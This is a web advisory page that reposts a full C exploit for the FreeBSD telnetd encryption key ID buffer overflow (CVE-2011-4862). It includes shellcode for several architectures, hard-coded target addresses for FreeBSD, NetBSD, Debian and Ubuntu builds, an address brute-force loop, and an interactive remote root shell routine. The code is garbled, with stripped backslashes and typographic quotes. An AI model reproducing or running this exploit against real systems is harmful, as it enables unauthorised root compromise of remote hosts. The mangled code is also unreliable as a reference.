FreeBSD Telnet Service Encryption Key ID Buffer Overflow Exploit

Summary

FreeBSD Telnet Service Encryption Key ID suffers from buffer overflow vulnerability.

Credit:

The information has been provided by NighterMan and BatchDrake.


Details

Vulnerable Systems:
 * FreeBSD Telnet Service Encryption Key ID

/*
*
* Usage:
*
* $ gcc exploit.c -o exploit
*
* $ ./exploit 127.0.0.1 23 1
* [<] Succes reading intial server request 3 bytes
* [>] Telnet initial encryption mode and IV sent
* [<] Server response: 8 bytes read
* [>] First payload to overwrite function pointer sent
* [<] Server response: 6 bytes read
* [>] Second payload to triger the function pointer
* [*] got shell?
* uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/*
* Most of the inetd impletantions have a connection limit per second
* so you must chage this if you start getting errors reading responses
* – for 60 conex per min 900000
* – for 40 conex per min 1500000
* – for no limit 300000 should work
*/
#define BRUTE_TOUT 300000

#define MAXKEYLEN 64-1

struct key_info
{
unsigned char keyid[MAXKEYLEN];
unsigned char keylen[4];
unsigned char dir[4];
unsigned char modep[4];
unsigned char getcrypt[4];
};

struct target_profile
{
uint32_t skip;
const char *address;
const char *desc;
const char *shellcode;

};

/* Shellcode FreeBSD x86 */
const char s_bsd32[] =
‘x31xc0’ // xor %eax,%eax
‘x50’ // push %eax
‘xb0x17’ // mov $0x17,%al
‘x50’ // push %eax
‘xcdx80’ // int $0x80
‘x50’ // push %eax
‘x68x6ex2fx73x68’ // push $0x68732f6e
‘x68x2fx2fx62x69’ // push $0x69622f2f
‘x89xe3’ // mov %esp,%ebx
‘x50’ // push %eax
‘x54’ // push %esp
‘x53’ // push %ebx
‘x50’ // push %eax
‘xb0x3b’ // mov $0x3b,%al
‘xcdx80’; // int $0x80

/* Shellcode Linux x86 */
const char s_linux32[] = ‘x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80’;

/* Shellcode Linux sparc */
const char s_linuxsparc[] = ‘x2dx0bxd8x9a’ /* sethi %hi(0x2f626800), %l6 */
‘xacx15xa1x6e’ /* or %l6, 0x16e, %l6 */
‘x2fx0bxdcxda’ /* sethi %hi(0x2f736800), %l7 */
‘x90x0bx80x0e’ /* and %sp, %sp, %o0 */
‘x92x03xa0x08’ /* add %sp, 0x08, %o1 */
‘x94x22x80x0a’ /* sub %o2, %o2, %o2 */
‘x9cx03xa0x10’ /* add %sp, 0x10, %sp */
‘xecx3bxbfxf0’ /* std %l6, [ %sp + – 16 ] */
‘xd0x23xbfxf8’ /* st %o0, [ %sp + – 8 ] */
‘xc0x23xbfxfc’ /* clr [ %sp + -4 ] */
‘x82x10x20x3b’ /* mov 0x3b, %g1 */
‘x91xd0x20x10’; /* ta 0x10 */

/* Valid targets list */
struct target_profile targets[] =
{
{20, ‘x00x80x05x08’, ‘Generic Linux i386 bruteforce’, s_linux32},
{20, ‘x00x80x05x08’, ‘Generic BSD i386 bruteforce’, s_bsd32},
{20, ‘x23xccx05x08’, ‘Ubuntu GNU/Linux 10.04, Inetutils Server (i386)’, s_linux32},
{20, ‘x12xc9x05x08’, ‘Ubuntu GNU/Linux 10.04, Heimdal Server (i386)’, s_linux32},
{20, ‘xefx56x06x08’, ‘Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)’, s_linux32},
{20, ‘x56x9ax05x08’, ‘Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)’, s_linux32},
{1, ‘x00x03xe7x94’, ‘Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)’, s_linuxsparc},
{3, ‘x00x03x2ex0c’, ‘Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)’, s_linuxsparc},
{20, ‘xa6xeex05x08’, ‘FreeBSD 8.0 (i386)’, s_bsd32},
{20, ‘xa6xeex05x08’, ‘FreeBSD 8.1 (i386)’, s_bsd32},
{20, ‘xedxeex05x08’, ‘FreeBSD 8.2 (i386)’, s_bsd32},
{20, ‘x02xacx05x08’, ‘NetBSD 5.1 (i386)’, s_bsd32},

{0, NULL, NULL, NULL}
};

/* Telnet commands */
static unsigned char tnet_init_enc[] =
‘xffxfax26x00x01x01x12x13’
‘x14x15x16x17x18x19xffxf0’;

static unsigned char tnet_option_enc_keyid[] = ‘xffxfax26x07’;

static unsigned char tnet_end_suboption[] = ‘xffxf0’;

/* Check if the shellcode worked, slightly simpler than shell (int) */
static int
checkmagic (int fd)
{
char got[32];

if (write (fd, ‘echo pikachun’, 13) < 0)
return -1;

if (read (fd, got, 32) <= 0)
return -1;

return -!strstr (got, ‘pikachu’);
}

/*
* shell(): semi-interactive shell hack
*/
static void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;

/* check uid */
write(fd, ‘idn’, 3);

/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);

if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror(‘select’);
break;
}

/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, ‘Goodbye…n’);
break;
}
if (write(1, tmp, n) < 0) {
perror(‘write’);
break;
}
}

/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror(‘read’);
break;
}
if (write(fd, tmp, n) < 0) {
perror(‘write’);
break;
}
}
}
}

static int open_connection(in_addr_t dip, int dport)
{
int pconn;
struct sockaddr_in cdata;
struct timeval timeout;

/* timeout.tv_sec = _opts.timeout; */
timeout.tv_sec = 8;
timeout.tv_usec = 0;

/* Set socket options and create it */
cdata.sin_addr.s_addr = dip;
cdata.sin_port = htons(dport);
cdata.sin_family = AF_INET;

pconn = socket(AF_INET, SOCK_STREAM, 0);

if( pconn < 0 )
{
printf(‘Socket error: %in’, pconn);
printf(‘Err message: %sn’, strerror(errno));
return (-1);
}

/* Set socket timeout */
if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
perror(‘setsockopt SO_RCVTIMEO: ‘);

/* Set socket options */
if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
perror(‘setsockopt SO_SNDTIMEO: ‘);

/* Make connection */
if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
{
close(pconn);
return -1;
}

return pconn;
}

static void usage(char *arg)
{
int x = 0;

printf(‘ ______ __ ________ n’);
printf(‘ / __ / /_/ / _____/n’);
printf(‘ / /_/ /______________\ \_____________n’);
printf(‘ / ___ / __ / / __ / \ \/ _ \/ __/n’);
printf(‘ / / / /_/ / / / / /___/ / __/ /__n’);
printf(‘ ____/__/____\__,_/_/_/ /_/______/\___/\____/____n’);
printf(‘ —————- www.painsec.com —————nn’);
printf(‘(c) NighterMan & BatchDrake 2011, almost 2012n’);
printf(‘OH MY GOD WE ARE ALL ABOUT TO DIEnn’);
printf(‘Available Targets:nn’);

/* print tagets */
while(targets[x].address != NULL) {
printf(‘ %2i: %sn’, x + 1, targets[x].desc);
x++;
}

printf(‘n’);
printf(‘Telnetd encrypt_keyid exploitn’);
printf(‘Usage: %s [ip] [port] [target]nn’, arg);
}

int
attack (const char *ip, unsigned int port,
unsigned char *payload, unsigned int psize, int tryshell)
{
unsigned char readbuf[256];
int ret;
int conn;

/* Open the connection */
conn = open_connection(inet_addr(ip), port);
if (conn == -1) {
printf(‘Error connecting: %in’, errno);
return -1;
}

/* Read initial server request */
ret = read(conn, readbuf, 256);

if (ret <= 0)
{
printf (‘[!] Error receiving response: %sn’,
ret ? strerror (errno) : ’empty response’);
close (conn);
return -1;
}

printf(‘[<] Succes reading intial server request %i bytesn’, ret);

/* printf(‘ATTACH DEBUGGER & PRESS KEY TO CONITNUEn’); */
/* ret = getchar(); */

/* Send encryption and IV */
ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
if (ret != sizeof(tnet_init_enc)) {
printf(‘Error sending init encryption: %in’, ret);
close (conn);
return -1;
}
printf(‘[>] Telnet initial encryption mode and IV sentn’);

/* Read response */
if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
{
printf (‘[!] Timeout when receiving responsen’);
close (conn);
return -1;
}
else
printf(‘[<] Server response: %i bytes readn’, ret);

/* Send the first payload with the overflow */
ret = write(conn, payload, psize);
if (ret != psize) {
printf(‘Error sending payload first timen’);
close (conn);
return -1;
}
printf(‘[>] First payload to overwrite function pointer sentn’);

/* Read Response */
if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
{
printf (‘[!] Timeout when receiving responsen’);
close (conn);
return -1;
}
else
printf(‘[<] Server response: %i bytes readn’, ret);

/* Send the payload again to tigger the function overwrite */
ret = write(conn, payload, psize);
if (ret != psize) {
printf(‘Error sending payload second timen’);
close (conn);
return -1;
}
printf(‘[>] Second payload to triger the function pointern’);

if (tryshell)
{
/* Start the semi interactive shell */
printf(‘[*] got shell?n’);
shell(conn);

ret = 0;
}
else
{
printf (‘[*] Does this work? ‘);

/* Just check if it works */

if (checkmagic (conn) == 0)
{
printf (‘YES!!!n’);
printf (‘Add the Target address to the targets list & recomple!!!n’);
ret = 0;
}
else
{
printf (‘nope :(n’);
ret = -1;
}
}

close (conn);

return ret;
}

int main(int argc, char *argv[])
{
int offset = 0;
int target;
int i;
unsigned int address;

/* Payload Size */
int psize = (sizeof(struct key_info) +
sizeof(tnet_option_enc_keyid) +
sizeof(tnet_end_suboption));

struct key_info bad_struct;
unsigned char payload[psize];

if ( argc != 4) {
usage(argv[0]);
return -1;
}

/* Fill the structure */
memset(&bad_struct, 0x90, sizeof(struct key_info));
memcpy(bad_struct.keylen, ‘DEAD’, 4);
memcpy(bad_struct.dir, ‘BEEF’, 4);

target = atoi(argv[3]) – 1;
/* Target selection */
struct target_profile *t;
t = &targets[target];
printf(‘Target: %snn’, t->desc);

for (i = 0; !i || target < 2; i++)
{
offset = 0;
memcpy(&bad_struct.keyid[t->skip], t->shellcode, strlen(t->shellcode));
memcpy (&address, t->address, 4);

address += ((i + 1) >> 1) * (t->skip – 1) * (1 – ((i & 1) << 1));
printf (‘[*] Target address: 0x%04xn’, address);

memcpy(bad_struct.modep, &address, 4); /* Readable address */
memcpy(bad_struct.getcrypt, &address, 4); /* Function pointer */

/* Prepare the payload with the overflow */
memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
offset += sizeof(tnet_option_enc_keyid);
memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
offset += sizeof(bad_struct);
memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));

if (attack (argv[1], atoi (argv[2]), payload, psize, target >= 2) == 0)
break;

usleep (BRUTE_TOUT);
}

return 0;
}

CVE Information:
2011-4862

Disclosure Timeline:
Published: 2011-12-26

Categories: Exploits